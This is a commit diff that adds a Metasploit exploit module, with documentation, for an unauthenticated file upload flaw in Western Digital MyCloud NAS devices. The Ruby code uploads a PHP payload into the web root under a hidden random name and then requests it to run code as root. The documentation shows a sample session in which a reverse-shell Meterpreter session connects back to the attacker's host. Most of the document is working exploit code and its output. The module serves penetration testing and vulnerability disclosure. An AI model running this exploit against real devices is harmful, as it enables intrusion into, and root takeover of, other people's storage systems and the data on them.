Add wd_mycloud_multiupload_upload exploit

Author: Zenofex

documentation/modules/exploit/linux/http/wd_mycloud_multiupload_upload.md

@@ -0,0 +1,40 @@
+## Description
+
+This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
+
+## Vulnerable Application
+	
+  [Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
+
+  This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
+
+## Verification Steps
+
+1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
+2. Do: ```set RHOST [IP]```
+3. Do: ```check```
+4. It should be reported as vulnerable
+5. Do: ```run```
+6. You should get a shell
+
+## Scenarios
+
+```
+msf > use exploit/linux/http/wd_mycloud_multiupload_upload
+msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
+RHOST => 192.168.86.104
+msf exploit(wd_mycloud_multiupload_upload) > check
+[+] 192.168.86.104:80 The target is vulnerable.
+msf exploit(wd_mycloud_multiupload_upload) > run
+
+[*] Started reverse TCP handler on 192.168.86.215:4444 
+[*] Uploading PHP payload (1124 bytes) to '/var/www'.
+[+] Uploaded PHP payload successfully.
+[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
+[*] Sending stage (37543 bytes) to 192.168.86.104
+[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
+[+] Deleted .7bc5NqFMK5.php
+
+meterpreter > getuid
+Server username: root (0)
+```

modules/exploits/linux/http/wd_mycloud_multiupload_upload.rb

@@ -0,0 +1,104 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
+      'Description'    => %q{
+        This module exploits a file upload vulnerability found in Western Digital's MyCloud
+        NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
+        PHP script provides multipart upload functionality that is accessible without authentication
+        and can be used to place a file anywhere on the device's file system. This allows an
+        attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
+        execution as root.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud'],
+        ],
+      'Platform'       => 'php',
+      'Arch'           => ARCH_PHP,
+      'Targets'        =>
+        [
+          ['Automatic Targeting', { 'auto' => true }]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'Jul 29 2017',
+      'DefaultTarget'  => 0))
+  end
+
+  def check
+    res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
+
+    if res.nil?
+      vprint_error('Connection failed')
+      return CheckCode::Unknown
+    end
+
+    if res.code == 302 && res.headers['Location'] =~ /\?status=1/
+      return CheckCode::Vulnerable
+    end
+
+    CheckCode::Safe
+  end
+
+  def upload(web_folder, fname, file)
+    # construct post data
+    data = Rex::MIME::Message.new
+    data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
+
+    # upload
+    res = send_request_cgi({
+      'method'  => 'POST',
+      'uri'     => '/web/jquery/uploader/multi_uploadify.php',
+      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
+      'data'    => data.to_s,
+      'vars_get' => {
+        'folder' => web_folder
+      }
+    })
+  end
+
+  def exploit
+    if check != CheckCode::Vulnerable
+      fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
+    end
+
+    # upload PHP payload to '/var/www' (webroot).
+    web_folder = '/var/www'
+    php   = "<?php #{payload.encoded} ?>"
+    print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
+    fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
+
+    res = upload(web_folder, fname, php)
+
+    # check upload response
+    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
+    if res.code != 302 || res.headers['Location'] =~ /\?status=0/
+      fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
+    end
+    print_good('Uploaded PHP payload successfully.')
+
+    # register uploaded php payload file for cleanup
+    register_files_for_cleanup(fname)
+
+    # retrieve and execute PHP payload
+    print_status("Making request for '/#{fname}' to execute payload.")
+    res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
+  end
+
+end